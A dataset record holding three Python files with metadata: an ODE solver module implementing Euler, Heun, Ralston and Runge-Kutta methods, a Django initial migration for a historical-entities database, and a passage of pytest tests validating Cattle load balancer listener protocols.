0
| 7
|
f227d20e209021dbe4b35485ac219088c885c8f8
| 6,313
|
py
|
Python
|
ODE.py
|
MASTERAMARJEET/Numerical_Method
|
186ae125f2991afec570c86da55640d80d282de5
|
[
"MIT"
] | null | null | null |
ODE.py
|
MASTERAMARJEET/Numerical_Method
|
186ae125f2991afec570c86da55640d80d282de5
|
[
"MIT"
] | null | null | null |
ODE.py
|
MASTERAMARJEET/Numerical_Method
|
186ae125f2991afec570c86da55640d80d282de5
|
[
"MIT"
] | null | null | null |
import numpy as _np
def euler(f, initial, interval, h):
"""This function solves the differential equation using Euler's method and initial
value condition.
Parameters
----------
f : function
function form of the differential equation to be solved
initial : tuple
tuple of the initial values
interval : tuple
tuple of the interval in which the differential eq
h : float
step size for each iteration
Returns
-------
ts : 1d array
array of t's
ys : 1d array
array of corresponding y's
"""
a, b = interval
ts = _np.arange(a, b + h, h)
ys = _np.zeros_like(ts)
if initial[0] != interval[0]:
print("The point for initial value doesn't match the start of interval")
return None, None
ys[0] = initial[1]
for i in range(len(ts) - 1):
ys[i + 1] = ys[i] + f(ys[i], ts[i]) * h
return ts, ys
def midpoint_euler(f, initial, interval, h):
"""This function solves the differential equation using Ralstone's method and initial
value condition.
Parameters
----------
f : function
function form of the differential equation to be solved
initial : tuple
tuple of the initial values
interval : tuple
tuple of the interval in which the differential eq
h : float
step size for each iteration
Returns
-------
ts : 1d array
array of t's
ys : 1d array
array of corresponding y's
"""
A = 0.5
B1 = 0.0
B2 = 1
a, b = interval
ts = _np.arange(a, b + h, h)
ys = _np.zeros_like(ts)
if initial[0] != interval[0]:
print("The point for initial value doesn't match the start of interval")
return None, None
ys[0] = initial[1]
for i in range(len(ts) - 1):
p_i = f(ys[i], ts[i])
q_i = f(ys[i] + A * h * p_i, ts[i] + h * A)
ys[i + 1] = ys[i] + (B1 * p_i + B2 * q_i) * h
return ts, ys
def heun(f, initial, interval, h):
"""This function solves the differential equation using Heun's method and initial
value condition.
Parameters
----------
f : function
function form of the differential equation to be solved
initial : tuple
tuple of the initial values
interval : tuple
tuple of the interval in which the differential eq
h : float
step size for each iteration
Returns
-------
ts : 1d array
array of t's
ys : 1d array
array of corresponding y's
"""
A = 1
B1 = 0.5
B2 = 0.5
a, b = interval
ts = _np.arange(a, b + h, h)
ys = _np.zeros_like(ts)
if initial[0] != interval[0]:
print("The point for initial value doesn't match the start of interval")
return None, None
ys[0] = initial[1]
for i in range(len(ts) - 1):
p_i = f(ys[i], ts[i])
q_i = f(ys[i] + A * h * p_i, ts[i] + h * A)
ys[i + 1] = ys[i] + (B1 * p_i + B2 * q_i) * h
return ts, ys
def ralstone(f, initial, interval, h):
"""This function solves the differential equation using Ralstone's method and initial
value condition.
Parameters
----------
f : function
function form of the differential equation to be solved
initial : tuple
tuple of the initial values
interval : tuple
tuple of the interval in which the differential eq
h : float
step size for each iteration
Returns
-------
ts : 1d array
array of t's
ys : 1d array
array of corresponding y's
"""
A = 2 / 3
B1 = 0.25
B2 = 0.75
a, b = interval
ts = _np.arange(a, b + h, h)
ys = _np.zeros_like(ts)
if initial[0] != interval[0]:
print("The point for initial value doesn't match the start of interval")
return None, None
ys[0] = initial[1]
for i in range(len(ts) - 1):
p_i = f(ys[i], ts[i])
q_i = f(ys[i] + A * h * p_i, ts[i] + h * A)
ys[i + 1] = ys[i] + (B1 * p_i + B2 * q_i) * h
return ts, ys
def rk3(f, initial, interval, h):
"""This function solves the differential equation using 3rd order Runga-Kutta
method and initial value condition.
Parameters
----------
f : function
function form of the differential equation to be solved
initial : tuple
tuple of the initial values
interval : tuple
tuple of the interval in which the differential eq
h : float
step size for each iteration
Returns
-------
ts : 1d array
array of t's
ys : 1d array
array of corresponding y's
"""
a, b = interval
ts = _np.arange(a, b + h, h)
ys = _np.zeros_like(ts)
if initial[0] != interval[0]:
print("The point for initial value doesn't match the start of interval")
return None, None
ys[0] = initial[1]
for i in range(len(ts) - 1):
p_i = f(ys[i], ts[i])
q_i = f(ys[i] + 0.5 * h * p_i, ts[i] + h * 0.5)
r_i = f(ys[i] - p_i * h + 2 * q_i * h, ts[i] + h)
ys[i + 1] = ys[i] + (p_i + 4 * q_i + r_i) * h / 6
return ts, ys
def rk4(f, initial, interval, h):
"""This function solves the differential equation using 4th order Runga-Kutta
method and initial value condition.
Parameters
----------
f : function
function form of the differential equation to be solved
initial : tuple
tuple of the initial values
interval : tuple
tuple of the interval in which the differential eq
h : float
step size for each iteration
Returns
-------
ts : 1d array
array of t's
ys : 1d array
array of corresponding y's
"""
a, b = interval
ts = _np.arange(a, b + h, h)
ys = _np.zeros_like(ts)
if initial[0] != interval[0]:
print("The point for initial value doesn't match the start of interval")
return None, None
ys[0] = initial[1]
for i in range(len(ts) - 1):
p_i = f(ys[i], ts[i])
q_i = f(ys[i] + 0.5 * h * p_i, ts[i] + h * 0.5)
r_i = f(ys[i] + 0.5 * h * q_i, ts[i] + h * 0.5)
s_i = f(ys[i] + h * r_i, ts[i] + h)
ys[i + 1] = ys[i] + (p_i + 2 * q_i + 2 * r_i + s_i) * h / 6
return ts, ys
| 24.374517
| 89
| 0.554887
| 995
| 6,313
| 3.465327
| 0.087437
| 0.022622
| 0.016241
| 0.020302
| 0.965197
| 0.963457
| 0.947506
| 0.946636
| 0.946636
| 0.946636
| 0
| 0.02373
| 0.332489
| 6,313
| 258
| 90
| 24.468992
| 0.794495
| 0.431807
| 0
| 0.752809
| 0
| 0
| 0.121504
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.067416
| false
| 0
| 0.011236
| 0
| 0.213483
| 0.067416
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
48101dae231af67e2b32ce47b5af9721cbcb0307
| 31,506
|
py
|
Python
|
chdb_app/migrations/0001_initial.py
|
budleigh/chdb
|
ce01a3311d9d47a0355a471c1125712a10828251
|
[
"MIT"
] | null | null | null |
chdb_app/migrations/0001_initial.py
|
budleigh/chdb
|
ce01a3311d9d47a0355a471c1125712a10828251
|
[
"MIT"
] | 6
|
2020-06-05T22:51:40.000Z
|
2022-02-10T11:26:10.000Z
|
chdb_app/migrations/0001_initial.py
|
budleigh/chdb
|
ce01a3311d9d47a0355a471c1125712a10828251
|
[
"MIT"
] | null | null | null |
# Generated by Django 2.2.4 on 2019-09-03 03:43
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('contenttypes', '0002_remove_content_type_name'),
]
operations = [
migrations.CreateModel(
name='BaseTransition',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date_changed', models.DateField()),
('caused_by_change', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='caused_transitions', to='chdb_app.BaseTransition')),
('polymorphic_ctype', models.ForeignKey(editable=False, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='polymorphic_chdb_app.basetransition_set+', to='contenttypes.ContentType')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
),
migrations.CreateModel(
name='Entity',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(db_index=True, max_length=255)),
('polymorphic_ctype', models.ForeignKey(editable=False, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='polymorphic_chdb_app.entity_set+', to='contenttypes.ContentType')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
),
migrations.CreateModel(
name='FieldChange',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('object_id', models.PositiveIntegerField()),
('changed_property_str', models.CharField(db_index=True, max_length=255)),
('date_changed', models.DateField()),
('caused_by_change', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='caused_changes', to='chdb_app.FieldChange')),
('content_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType')),
('polymorphic_ctype', models.ForeignKey(editable=False, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='polymorphic_chdb_app.fieldchange_set+', to='contenttypes.ContentType')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
),
migrations.CreateModel(
name='GroupEventParticipation',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateField(blank=True, null=True)),
('date_from', models.DateField(blank=True, null=True)),
('date_to', models.DateField(blank=True, null=True)),
('polymorphic_ctype', models.ForeignKey(editable=False, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='polymorphic_chdb_app.groupeventparticipation_set+', to='contenttypes.ContentType')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
),
migrations.CreateModel(
name='GroupHierarchyPosition',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('ordinal', models.PositiveIntegerField(blank=True, null=True)),
('name', models.CharField(max_length=255)),
],
),
migrations.CreateModel(
name='BooleanFieldChange',
fields=[
('fieldchange_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.FieldChange')),
('changed_property_val', models.BooleanField()),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.fieldchange',),
),
migrations.CreateModel(
name='CharFieldChange',
fields=[
('fieldchange_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.FieldChange')),
('changed_property_val', models.CharField(db_index=True, max_length=255)),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.fieldchange',),
),
migrations.CreateModel(
name='Event',
fields=[
('entity_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Entity')),
('date', models.DateField(blank=True, null=True)),
('date_from', models.DateField(blank=True, null=True)),
('date_to', models.DateField(blank=True, null=True)),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.entity', models.Model),
),
migrations.CreateModel(
name='FloatFieldChange',
fields=[
('fieldchange_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.FieldChange')),
('changed_property_val', models.FloatField()),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.fieldchange',),
),
migrations.CreateModel(
name='FullObjectSplit',
fields=[
('basetransition_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.BaseTransition')),
('original_object_id', models.PositiveIntegerField()),
('original_object_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.basetransition',),
),
migrations.CreateModel(
name='Group',
fields=[
('entity_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Entity')),
('created', models.DateField()),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.entity',),
),
migrations.CreateModel(
name='GroupMilitaryEventParticipation',
fields=[
('groupeventparticipation_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.GroupEventParticipation')),
('casualties', models.PositiveIntegerField()),
('belligerent_ordinal', models.PositiveIntegerField()),
('victory', models.BooleanField()),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.groupeventparticipation',),
),
migrations.CreateModel(
name='IntegerFieldChange',
fields=[
('fieldchange_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.FieldChange')),
('changed_property_val', models.IntegerField()),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.fieldchange',),
),
migrations.CreateModel(
name='Location',
fields=[
('entity_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Entity')),
('parent', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='children', to='chdb_app.Location')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.entity',),
),
migrations.CreateModel(
name='Object',
fields=[
('entity_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Entity')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.entity',),
),
migrations.CreateModel(
name='Person',
fields=[
('entity_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Entity')),
('born_on', models.DateField()),
('alive', models.BooleanField(default=True)),
('born_at', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='births', to='chdb_app.Location')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.entity',),
),
migrations.CreateModel(
name='PositiveIntegerFieldChange',
fields=[
('fieldchange_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.FieldChange')),
('changed_property_val', models.PositiveIntegerField()),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.fieldchange',),
),
migrations.CreateModel(
name='TextFieldChange',
fields=[
('fieldchange_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.FieldChange')),
('changed_property_val', models.TextField()),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.fieldchange',),
),
migrations.CreateModel(
name='Address',
fields=[
('location_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Location')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.location',),
),
migrations.CreateModel(
name='Alliance',
fields=[
('group_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Group')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.group',),
),
migrations.CreateModel(
name='Army',
fields=[
('group_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Group')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.group',),
),
migrations.CreateModel(
name='City',
fields=[
('location_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Location')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.location',),
),
migrations.CreateModel(
name='Continent',
fields=[
('location_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Location')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.location',),
),
migrations.CreateModel(
name='Corporation',
fields=[
('group_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Group')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.group',),
),
migrations.CreateModel(
name='District',
fields=[
('location_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Location')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.location',),
),
migrations.CreateModel(
name='Government',
fields=[
('group_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Group')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.group',),
),
migrations.CreateModel(
name='MilitaryEvent',
fields=[
('event_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Event')),
('casualties', models.PositiveIntegerField()),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.event',),
),
migrations.CreateModel(
name='Place',
fields=[
('location_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Location')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.location',),
),
migrations.CreateModel(
name='PoliticalGroup',
fields=[
('group_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Group')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.group',),
),
migrations.CreateModel(
name='Region',
fields=[
('location_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Location')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.location',),
),
migrations.CreateModel(
name='Ship',
fields=[
('object_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.Object')),
('engine_type', models.CharField(choices=[('STEAM', 'Steam'), ('NUCLEAR', 'Nuclear'), ('SAIL', 'Sail')], max_length=15)),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.object',),
),
migrations.CreateModel(
name='PersonEventParticipation',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateField(blank=True, null=True)),
('date_from', models.DateField(blank=True, null=True)),
('date_to', models.DateField(blank=True, null=True)),
('polymorphic_ctype', models.ForeignKey(editable=False, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='polymorphic_chdb_app.personeventparticipation_set+', to='contenttypes.ContentType')),
('person', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='events', to='chdb_app.Person')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
),
migrations.CreateModel(
name='PersonAtLocation',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateField(blank=True, null=True)),
('date_from', models.DateField(blank=True, null=True)),
('date_to', models.DateField(blank=True, null=True)),
('ownership', models.BooleanField(default=False)),
('location', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='chdb_app.Location')),
('person', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='locations', to='chdb_app.Person')),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='MetaGroupMembership',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateField(blank=True, null=True)),
('date_from', models.DateField(blank=True, null=True)),
('date_to', models.DateField(blank=True, null=True)),
('group', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='meta_groups', to='chdb_app.Group')),
('meta_group', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='sub_groups', to='chdb_app.Group')),
],
options={
'abstract': False,
},
),
migrations.AddField(
model_name='location',
name='people',
field=models.ManyToManyField(through='chdb_app.PersonAtLocation', to='chdb_app.Person'),
),
migrations.CreateModel(
name='GroupMembership',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateField(blank=True, null=True)),
('date_from', models.DateField(blank=True, null=True)),
('date_to', models.DateField(blank=True, null=True)),
('hierarchy_position', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='chdb_app.GroupHierarchyPosition')),
('group', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='chdb_app.Group')),
('person', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='groups', to='chdb_app.Person')),
],
options={
'abstract': False,
},
),
migrations.AddField(
model_name='grouphierarchyposition',
name='group',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='hierarchy_positions', to='chdb_app.Group'),
),
migrations.AddField(
model_name='groupeventparticipation',
name='group',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='events', to='chdb_app.Group'),
),
migrations.CreateModel(
name='GroupAtLocation',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.DateField(blank=True, null=True)),
('date_from', models.DateField(blank=True, null=True)),
('date_to', models.DateField(blank=True, null=True)),
('ownership', models.BooleanField(default=False)),
('group', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='locations', to='chdb_app.Group')),
('location', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='chdb_app.Location')),
],
options={
'abstract': False,
},
),
migrations.AddField(
model_name='group',
name='created_at_location',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='groups_created_at', to='chdb_app.Location'),
),
migrations.AddField(
model_name='group',
name='created_by_group',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='created_groups', to='chdb_app.Group'),
),
migrations.AddField(
model_name='group',
name='created_by_people',
field=models.ManyToManyField(related_name='created_groups_with_others', to='chdb_app.Person'),
),
migrations.AddField(
model_name='group',
name='created_by_person',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='created_groups', to='chdb_app.Person'),
),
migrations.AddField(
model_name='group',
name='members',
field=models.ManyToManyField(through='chdb_app.GroupMembership', to='chdb_app.Person'),
),
migrations.CreateModel(
name='FullObjectTransition',
fields=[
('basetransition_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.BaseTransition')),
('original_object_id', models.PositiveIntegerField()),
('new_object_id', models.PositiveIntegerField()),
('new_object_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='new_type_for_object_transition', to='contenttypes.ContentType')),
('original_object_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='original_type_for_object_transition', to='contenttypes.ContentType')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.basetransition',),
),
migrations.CreateModel(
name='FullObjectSplitResult',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('result_object_id', models.PositiveIntegerField()),
('result_object_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType')),
('split', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='results', to='chdb_app.FullObjectSplit')),
],
),
migrations.CreateModel(
name='ForeignKeyChange',
fields=[
('fieldchange_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.FieldChange')),
('foreign_key_id', models.PositiveIntegerField()),
('foreign_key_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='contenttypes.ContentType')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.fieldchange',),
),
migrations.AddField(
model_name='fieldchange',
name='caused_by_event',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='caused_changes', to='chdb_app.Event'),
),
migrations.AddField(
model_name='fieldchange',
name='caused_by_group',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='caused_changes', to='chdb_app.Group'),
),
migrations.AddField(
model_name='fieldchange',
name='caused_by_person',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='caused_changes', to='chdb_app.Person'),
),
migrations.AddField(
model_name='fieldchange',
name='change_location',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='changes_here', to='chdb_app.Location'),
),
migrations.AddField(
model_name='event',
name='at_location',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='events', to='chdb_app.Location'),
),
migrations.AddField(
model_name='event',
name='parent',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='children', to='chdb_app.Event'),
),
migrations.AddField(
model_name='basetransition',
name='caused_by_event',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='caused_transitions', to='chdb_app.Event'),
),
migrations.AddField(
model_name='basetransition',
name='caused_by_group',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='caused_transitions', to='chdb_app.Group'),
),
migrations.AddField(
model_name='basetransition',
name='caused_by_person',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='caused_transitions', to='chdb_app.Person'),
),
migrations.AddField(
model_name='basetransition',
name='change_location',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='transitions_here', to='chdb_app.Location'),
),
migrations.CreateModel(
name='Battle',
fields=[
('militaryevent_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.MilitaryEvent')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.militaryevent',),
),
migrations.CreateModel(
name='War',
fields=[
('militaryevent_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.MilitaryEvent')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.militaryevent',),
),
migrations.CreateModel(
name='PersonMilitaryEventParticipation',
fields=[
('personeventparticipation_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='chdb_app.PersonEventParticipation')),
('event', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='chdb_app.MilitaryEvent')),
],
options={
'abstract': False,
'base_manager_name': 'objects',
},
bases=('chdb_app.personeventparticipation',),
),
migrations.AddField(
model_name='militaryevent',
name='groups',
field=models.ManyToManyField(through='chdb_app.GroupMilitaryEventParticipation', to='chdb_app.Group'),
),
migrations.AddField(
model_name='militaryevent',
name='people',
field=models.ManyToManyField(through='chdb_app.PersonMilitaryEventParticipation', to='chdb_app.Person'),
),
migrations.AddField(
model_name='groupmilitaryeventparticipation',
name='event',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='chdb_app.MilitaryEvent'),
),
]
| 49.459969
| 228
| 0.582714
| 3,008
| 31,506
| 5.895944
| 0.055851
| 0.042628
| 0.059205
| 0.093036
| 0.872625
| 0.87082
| 0.854581
| 0.837778
| 0.795151
| 0.795151
| 0
| 0.001462
| 0.28366
| 31,506
| 636
| 229
| 49.537736
| 0.78435
| 0.001428
| 0
| 0.715421
| 1
| 0
| 0.201405
| 0.046537
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.00318
| 0
| 0.009539
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
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| 1
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| null | 0
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| 0
|
0
| 8
|
482a98860ef7c8659d8987d398ea3c24c79ce8d3
| 7,416
|
py
|
Python
|
tests/integration/cattletest/core/test_lb_listener.py
|
mbrukman/rancher-cattle
|
ac7caffb97346f601043458411391d2d00fd6129
|
[
"Apache-2.0"
] | null | null | null |
tests/integration/cattletest/core/test_lb_listener.py
|
mbrukman/rancher-cattle
|
ac7caffb97346f601043458411391d2d00fd6129
|
[
"Apache-2.0"
] | null | null | null |
tests/integration/cattletest/core/test_lb_listener.py
|
mbrukman/rancher-cattle
|
ac7caffb97346f601043458411391d2d00fd6129
|
[
"Apache-2.0"
] | null | null | null |
from common_fixtures import * # NOQA
from cattle import ApiError
def test_lb_listener_create(admin_client):
listener = admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='8080',
targetPort='80',
sourceProtocol='http',
targetProtocol='tcp',
algorithm='leastconn')
listener = admin_client.wait_success(listener)
assert listener.state == 'active'
assert listener.sourcePort == 8080
assert listener.sourceProtocol == 'http'
assert listener.targetPort == 80
assert listener.targetProtocol == 'tcp'
assert listener.algorithm == 'leastconn'
def test_lb_listener_create_wo_algorithm(admin_client):
listener = admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='80',
sourceProtocol='tcp')
listener = admin_client.wait_success(listener)
assert listener.algorithm == 'roundrobin'
def test_lb_listener_protocol_validation(admin_client):
# test for source protocol
with pytest.raises(ApiError) as e:
admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='8080',
targetPort='80',
sourceProtocol='udp',
targetProtocol='tcp')
assert e.value.error.status == 422
assert e.value.error.code == 'InvalidOption'
assert e.value.error.fieldName == 'sourceProtocol'
# test for target protocol
with pytest.raises(ApiError) as e:
admin_client.create_loadBalancerListener(name=random_str(),
sourcePort='8080',
targetPort='80',
sourceProtocol='tcp',
targetProtocol='udp')
assert e.value.error.status == 422
